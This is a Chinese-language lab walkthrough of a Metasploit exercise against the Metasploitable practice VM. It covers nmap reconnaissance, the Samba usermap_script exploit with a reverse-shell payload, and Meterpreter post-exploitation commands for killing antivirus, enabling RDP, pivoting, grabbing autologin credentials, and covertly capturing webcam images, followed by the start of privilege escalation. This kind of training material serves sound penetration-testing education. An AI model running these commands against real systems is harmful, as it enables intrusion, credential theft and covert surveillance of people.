Metasploit实战
Metasploit实战
靶机选择
- 本次我选择的是Download Metasploitable (sourceforge.net) Metasploitable靶机
- 使用vmware进行挂载
渗透测试过程
信息搜集
因为使用vmware在本地进行挂载,所以需要先找到目标靶机的IP
先在kali中使用ifconfig查找到eth0的IP地址
对该地址进行C端地址扫描,nmap -sP 查找存活主机
nmap -sP
因为kali是134,目标靶机是在kali开启后进行挂载的,可以直接判断为地址要大于134
对剩余的地址进行nmap -sV,查看目标靶机开启的服务
nmap -sV
看到有Samba smbd 3.X - 4.X服务在运行,SMB是在局域网上共享文件和打印机的通信协议,在局域网内使用Linux和Windows系统的机器之间提供文件和打印机等资源的共享服务
漏洞利用
进入msf,使用如下命令进行Samba漏洞利用模块的扫描
seasearch samba
分别查看rank一列的漏洞,其中excellent为漏洞最容易利用成功的(时间最新的)
查看漏洞详细信息
info + 漏洞名称 info exploit/multi/samba/usermap_script
输入如下 use 命令使用漏洞利用模块:
use exploit/multi/samba/usermap_script
可以看到metasploit命令提示符更改为msf exploit(具体攻击载荷名称)
因为目标是Linux机器,所以一定要采用Linux的攻击载荷,使用如下命令可以查看具体攻击载荷列表
show payloads
使用set命令选择payload、攻击IP地址、利用端口号、攻击IP地址
set PAYLOAD cmd/unix/reverse 这里是反向攻击载荷模块 set RHOST xxx.xxx.xxx.xxx 被攻击主机IP地址 set RPORT xxx 利用端口号 set LHOST xxx.xxx.xxx.xxx 设置攻击主机IP地址 show options 查看参数是否已经设置正确
成功拿下
攻击成功后,在攻击机和目标机之间会建立一个Shell连接,渗透Windows及其它操作系统的过程类似,只是选择的Payload和漏洞利用模块不同
使用一些命令可以查看目标机的信息
后渗透攻击——信息搜集
Meterpreter
- Meterpreter是Metasploit的后渗透工具,可以在被攻击的进程内工作,不需要创建新的进程,且易于在多个进程之间迁移
进程迁移
刚获得Meterpreter Shell时,该Shell是极其脆弱和易受攻击的
例如攻击者利用浏览器漏洞攻陷目标机器,但是攻击渗透后浏览器可能被用户关闭
所以第一步是移动这个Shell,将它和目标及中的某一个稳定的进程绑在一起
不需要对磁盘进行任何写入操作,例如写马可能被杀
使用如下命令获取目标机正在运行的进程
ps
使用如下命令查看Metapreter的进程号
getpid
麻了,没有getpid工具,但是有gcc,自己写!
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
void main()
{
pid_t idp,id;
idp = getppid();
printf("ppid= %d\n",idp);
id = getpid();
printf("pid= %d\n",id);
}
- google了一下,也可以使用下面的命令
echo $$
使用migrate将shell移动到稳定进程中
进程完成迁移后,原先PID下的Shell会自动关闭
如果没有自动关闭,需要用kill手动杀死进程
普通shell如何进入meterpreter
使用如下命令将shell放在后台
background
进入刚刚的session会话
sessions -u <编号>
查看新生成的session编号
sessions -l
进入新的meterpreter session
sessions -i 新的session编号
系统命令
- 获得了稳定的进程后,接下来收集目标机的系统信息
查看系统信息
输入如下命令查看目标机的系统信息
sysinfo
查看是否运行在虚拟机上
输入如下命令查看目标机是否运行在虚拟机上
run post/windows/gather/checkvm
查看是否在运行
检查目标机是否正在运行
idletime
emmmm,靶机系统架构不允许
查看目标机完整的网络设置
输入如下命令查看目标机完整的网络设置
route
会话放后台
除此之外,可以将会话放到后台,此命令适合在多个Meterpreter会话的场景下使用
background
查看已成功渗透的用户名
输入如下命令查看当前目标机上已经渗透成功的用户名
getuid
关闭系统杀毒软件
关闭目标机系统杀毒软件
run post/windows/manage/killav
启动远程桌面协议
启动目标机远程桌面协议,也就是3389端口
run post/windows/manage/enable_rdp
查看目标机本地子网情况,添加路由,改为跳板
查看目标机本地子网情况
run post/windows/manage/autoroute
先将meterpreter隐藏在后台,使用background命令
然后输入route add命令添加路由,添加成功后输入route命令进行查看,注意命令格式
这时一条路由就被添加到已攻陷主机的路由表中了,可以借助被攻陷主机对其它网络进行攻击(跳板)
查看当前有多少用户登录目标机
run post/windows/gather/enum_logged_on_users
列举安装在目标机上的应用程序
run post/windows/gather/enum_applications
抓取自动登录的用户名和密码
用户如果将计算机设置为自动登录,如下命令可以抓取自动登录的用户名和密码
run windows/gather/credentials/windows_autologin
如果没有抓到任何信息,就需要用到拓展插件Espia,先输入load espia命令加载此插件,然后输入screengrab命令抓取此时目标机的屏幕截图(仅限于Windows系统)
摄像头
查看目标机是否有摄像头的命令如下
webcam_list
输入如下命令打开摄像头,拍一张照片
webcam_snap
开启直播模式
webcam_stream
进入目标机的Shell
输入如下命令进入目标机的Shell下面
shell
当meterpreter的命令前缀消失时,即进入了shell,退出了meterpreter
后渗透攻击——权限提升
- 通常,进入时只获得了一个guest或者普通User权限,在实施横向渗透攻击和提权攻击时将会很困难
- 需要将权限由Guest->User->Administrator->System
- 渗透的最终目的是获取服务器的最高权限
提权分类
- 纵向提权:低权限角色获取高权限角色的权限
- 横向提权:获取同级别角色的权限
提权过程
- 输入shell命令进入目标机的CMD命令行
- 输入whoami/groups命令查看现在的权限